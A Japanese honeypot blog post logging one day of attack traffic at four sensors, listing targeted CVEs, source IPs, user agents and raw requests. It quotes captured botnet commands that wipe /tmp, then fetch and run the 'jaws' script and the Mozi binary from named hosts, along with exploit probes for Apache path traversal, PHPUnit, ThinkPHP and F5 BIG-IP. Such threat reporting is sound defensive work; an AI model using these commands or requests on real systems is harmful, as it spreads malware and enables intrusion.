コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2023/07/17 ハニーポット(仮) 観測記録

ハニーポット(仮) 観測記録 2023/07/17分です。

特徴
共通

CensysInspectによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

F5 BIG-IP製品の脆弱性(CVE-2022-1388)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
aiohttpによるスキャン行為
/.gitへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  testbots.maizhangyu.top/jaws;
sh /tmp/jaws
cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws
cd /tmp;
rm -rf *;
wget http://61.3.100.207:33698/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location:US

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
F5 BIG-IP製品の脆弱性(CVE-2022-1388)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnit脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
aiohttpによるスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  testbots.maizhangyu.top/jaws;
sh /tmp/jaws
Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
PHPUnit脆弱性(CVE-2017-9841)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
Spring Cloud Gateway脆弱性(CVE-2022-22947)を狙うアクセス
Telerik UIの脆弱性(CVE-2019-18935)を狙うアクセス
.jsへのスキャン行為
Apache Solrへのスキャン行為

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  testbots.maizhangyu.top/jaws;
sh /tmp/jaws
Location:SG

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
PHPUnit脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gateway脆弱性(CVE-2022-22947)を狙うアクセス
Telerik UIの脆弱性(CVE-2019-18935)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  testbots.maizhangyu.top/jaws;
sh /tmp/jaws
アクセス数推移

JP:総アクセス数:99 (前日比:-153)
US:総アクセス数:74 (前日比:-46)
UK:総アクセス数:85 (前日比:-17)
SG:総アクセス数:75 (前日比:-3)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス
2 3.8.238.106 United States
2 3.8.238.207 United States
1 18.191.65.103 United States
1 18.212.87.40 United States
2 20.172.37.23 United States
2 35.178.245.182 United States
1 36.136.51.134 China
15 43.154.141.71 Singapore
1 45.56.108.128 United States
1 45.83.66.136 Germany
1 45.156.128.12 Hungary
1 47.254.255.160 United States
1 51.79.19.53 Canada
1 51.89.205.185 France
1 52.162.218.19 United States
1 60.221.224.113 China
1 61.3.100.207 India
1 64.62.197.173 United States
2 64.226.113.254 United States
1 66.240.205.34 United States
2 74.82.47.3 United States
1 104.192.0.50 United States
2 109.237.98.226 Russia
1 128.199.219.75 United Kingdom
3 135.125.217.54 France
7 135.125.244.48 France
4 135.125.246.110 France
2 138.197.15.182 United States
3 138.197.130.27 United States
1 149.28.127.43 United States
2 165.22.60.26 United States
1 167.94.145.60 United States
2 172.104.11.46 United States
2 172.105.128.11 United States
2 178.128.84.112 United States
2 185.100.87.136 Seychelles
4 185.225.74.92 Bulgaria
5 185.254.196.173 Ukraine
1 185.254.196.186 Ukraine
1 192.155.90.118 United States
1 192.227.173.18 United States
1 192.241.224.18 United States
1 197.34.247.239 Egypt
1 198.235.24.19 United States
1 198.235.24.69 United States
5 218.78.122.222 China
1 221.214.163.115 China
1 222.185.11.106 China

UserAgent一覧

件数 UserAgent
27 -
1 Go-http-client/1.1
2 Hello, world
1 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
1 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.1 (KHTML like Gecko) Version/7.0.6 Safari/537.78.1
1 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
15 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 OPR/95.0.0.0
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
27 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
7 Mozilla/5.0 zgrab/0.x
1 Mozilla/5.0
1 Python/3.7 aiohttp/3.7.4.post0
1 python-requests/2.25.1
4 python-requests/2.28.2

リクエスト内容一覧

件数 Method Request Protocol
1 27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0
1 Gh0st\xad
1 \x16\x03\x01\x01H\x01
11 \x16\x03\x01
6 ``
29 GET /.env HTTP/1.1
6 GET /.git/config HTTP/1.1
3 GET /aaa9 HTTP/1.1
3 GET /aab8 HTTP/1.1
1 GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0
4 GET /favicon.ico HTTP/1.1
1 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+ testbots.maizhangyu.top/jaws;sh+/tmp/jaws
1 GET /shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//61[.]3[.]100[.]207:33698/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
1 GET /upl.php HTTP/1.1
1 GET /v3/time HTTP/1.1
1 GET http[:]//18[.]179[.]20[.]5:80/mysql-admin/scripts/setup.php HTTP/1.0
1 GET http[:]//18[.]179[.]20[.]5:80/mysqlmanager/scripts/setup.php HTTP/1.0
1 GET http[:]//18[.]179[.]20[.]5:80/php-myadmin/scripts/setup.php HTTP/1.0
1 GET http[:]//18[.]179[.]20[.]5:80/phpmanager/scripts/setup.php HTTP/1.0
1 GET http[:]//18[.]179[.]20[.]5:80/phpmy-admin/scripts/setup.php HTTP/1.0
15 HEAD /Core/Skin/Login.aspx HTTP/1.1
1 POST /FD873AC4-CF86-4FED-84EC-4BD59C6F17A7 HTTP/1.1
1 POST /index.htm HTTP/1.1
2 POST /mgmt/tm/util/bash HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス
2 4.194.117.75 United States
1 14.18.117.131 China
2 18.135.13.128 United States
2 20.211.161.6 United States
1 41.37.113.247 Egypt
1 41.234.174.198 Egypt
2 45.79.128.205 United States
1 45.79.181.179 United States
2 45.79.181.223 United States
1 45.156.129.12 Hungary
1 45.227.254.48 Belize
10 51.79.29.48 Canada
1 51.159.214.49 France
2 54.37.79.75 France
1 54.196.132.2 United States
1 65.49.1.12 United States
1 65.49.1.27 United States
1 65.49.1.31 United States
1 104.28.226.8 United States
1 104.248.59.100 United States
2 104.248.229.49 United States
2 107.172.233.136 United States
2 109.237.98.226 Russia
1 118.126.124.10 China
1 146.190.212.14 United States
1 156.196.240.228 Egypt
1 159.65.176.112 United States
2 159.203.44.105 United States
1 159.203.192.18 United States
2 162.142.125.225 United States
1 162.243.135.16 United States
2 167.248.133.185 United States
1 172.104.11.46 United States
2 172.105.128.11 United States
2 172.105.128.12 United States
1 185.170.144.3 Estonia
1 190.211.252.2 Panama
1 192.155.90.118 United States
1 194.165.16.37 Panama
1 198.145.66.22 United States
1 198.235.24.152 United States
10 213.109.202.66 United Kingdom

UserAgent一覧

件数 UserAgent
26 -
1 Go-http-client/1.1
2 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
3 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
10 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
17 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
2 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
5 Mozilla/5.0 zgrab/0.x
1 Mozilla/5.0
1 Python/3.6 aiohttp/3.8.3
1 python-requests/2.25.1

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_34.68.118.83_80\n
3 \x03
1 \x16\x03\x01\x01H\x01
14 \x16\x03\x01
2 ``
18 GET /.env HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
2 GET /aaa9 HTTP/1.1
2 GET /aab8 HTTP/1.1
2 GET /bundle.js HTTP/1.1
1 GET /cdn-cgi/trace HTTP/1.1
1 GET /client/get_targets HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /druid/index.html HTTP/1.1
5 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /sendgrid/.env HTTP/1.1
3 GET /shell?cd+/tmp;rm+-rf+*;wget+ testbots.maizhangyu.top/jaws;sh+/tmp/jaws
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 HEAD /.env HTTP/1.1
1 HEAD / HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /mgmt/tm/util/bash HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 PRI * HTTP/2.0
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス
2 13.40.115.91 United States
1 41.43.80.209 Egypt
1 45.33.80.243 United States
2 45.79.128.205 United States
1 45.79.181.94 United States
1 45.128.232.62 Bulgaria
1 51.79.29.48 Canada
2 52.56.153.101 United States
7 54.37.79.75 France
1 64.62.197.217 United States
1 64.62.197.226 United States
2 64.227.41.39 United States
1 66.240.192.82 United States
1 71.237.102.44 United States
1 92.118.39.26 Romania
1 104.28.226.8 United States
1 107.170.245.17 United States
1 138.68.80.252 United States
1 138.68.81.206 United States
1 139.59.99.184 Singapore
2 146.190.48.172 United States
6 148.153.45.236 United States
1 157.230.99.127 United States
1 157.230.99.133 United States
2 165.22.60.26 United States
1 167.71.206.153 United States
2 167.248.133.51 United States
1 172.104.11.4 United States
1 172.104.11.34 United States
2 172.104.11.46 United States
1 172.105.128.11 United States
1 172.105.128.12 United States
1 172.105.128.13 United States
1 184.105.139.70 United States
1 185.180.143.49 Portugal
1 185.180.143.79 Portugal
12 185.180.143.140 Portugal
1 185.180.143.141 Portugal
2 188.119.51.126 Turkey
1 190.211.252.2 Panama
1 192.241.202.27 United States
1 192.241.210.43 United States
1 194.165.16.76 Panama
1 198.235.24.16 United States
1 205.210.31.100 United States
7 213.109.202.66 United Kingdom
2 223.165.109.115 United States

UserAgent一覧

件数 UserAgent
26 -
4 FooBarTest
6 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
1 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36
14 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
7 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
13 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
8 Mozilla/5.0 zgrab/0.x
2 Mozilla/5.0

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_132.145.66.34_80\n
1 \x03
1 \x16\x03\x01\x01\x07\x01
17 \x16\x03\x01
4 ``
9 GET /.env HTTP/1.1
1 GET /Fqp5 HTTP/1.1
1 GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1
3 GET /aaa9 HTTP/1.1
4 GET /aab8 HTTP/1.1
1 GET /aab9 HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /admin/ HTTP/1.1
1 GET /backend/.env HTTP/1.1
2 GET /cdn-cgi/trace HTTP/1.1
1 GET /cgi-bin/authLogin.cgi HTTP/1.1
6 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /geoserver HTTP/1.1
1 GET /jquery-3.3.1.slim.min.js HTTP/1.1
1 GET /jquery-3.3.2.slim.min.js HTTP/1.1
1 GET /laravel/.env HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+ testbots.maizhangyu.top/jaws;sh+/tmp/jaws
1 GET /showLogin.cc HTTP/1.1
1 GET /solr/ HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /sugar_version.json HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /webfig/ HTTP/1.1
1 GET /zOKI HTTP/1.1
4 GET http[:]//test[.]getproxylist[.]com/ HTTP/1.1
1 HEAD /icons/.%%32%65/.%%32%65/apache2/icons/non-existant-image.png HTTP/1.1
1 HEAD /icons/.%%32%65/.%%32%65/apache2/icons/sphere1.png HTTP/1.1
1 HEAD /icons/.%2e/%2e%2e/apache2/icons/sphere1.png HTTP/1.1
1 HEAD /icons/sphere1.png HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /backend HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /laravel HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 PRI * HTTP/2.0
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス
2 18.170.33.147 United States
1 37.221.65.19 Russia
1 45.56.108.128 United States
1 45.79.128.205 United States
1 45.79.172.21 United States
1 45.79.181.179 United States
1 45.128.232.62 Bulgaria
1 45.227.254.48 Belize
2 51.79.29.48 Canada
13 54.37.79.75 France
1 64.62.197.180 United States
1 64.62.197.181 United States
1 66.175.213.4 United States
1 66.240.192.82 United States
4 84.54.51.162 Bulgaria
1 87.251.64.11 Russia
1 156.192.213.141 Egypt
3 156.198.41.177 Egypt
2 162.142.125.11 United States
1 162.243.141.14 United States
1 172.104.11.4 United States
1 172.104.11.46 United States
2 172.105.128.11 United States
1 172.105.128.12 United States
1 184.105.247.254 United States
1 185.170.144.3 Estonia
12 185.180.143.80 Portugal
1 185.180.143.141 Portugal
1 190.211.252.2 Panama
1 192.155.90.118 United States
1 192.155.90.220 United States
1 192.241.226.20 United States
1 192.241.227.15 United States
1 198.235.24.142 United States
1 198.235.24.243 United States
8 213.109.202.66 United Kingdom

UserAgent一覧

件数 UserAgent
30 -
1 Go-http-client/1.1
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36
12 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
8 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
15 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
2 Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数 Method Request Protocol
3 -
1 MGLNDD_13.67.44.234_80
2 \x03
17 \x16\x03\x01
2 ``
1 CONNECT example[.]com:443 HTTP/1.1
15 GET /.env HTTP/1.1
1 GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /admin/ HTTP/1.1
1 GET /cgi-bin/authLogin.cgi HTTP/1.1
5 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /geoserver HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /portal/redlion HTTP/1.1
4 GET /shell?cd+/tmp;rm+-rf+*;wget+ testbots.maizhangyu.top/jaws;sh+/tmp/jaws
1 GET /solr/ HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /sugar_version.json HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /webfig/ HTTP/1.1
1 HEAD /icons/.%%32%65/.%%32%65/apache2/icons/non-existant-image.png HTTP/1.1
1 HEAD /icons/.%%32%65/.%%32%65/apache2/icons/sphere1.png HTTP/1.1
1 HEAD /icons/.%2e/%2e%2e/apache2/icons/sphere1.png HTTP/1.1
1 HEAD /icons/sphere1.png HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
2 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 PRI * HTTP/2.0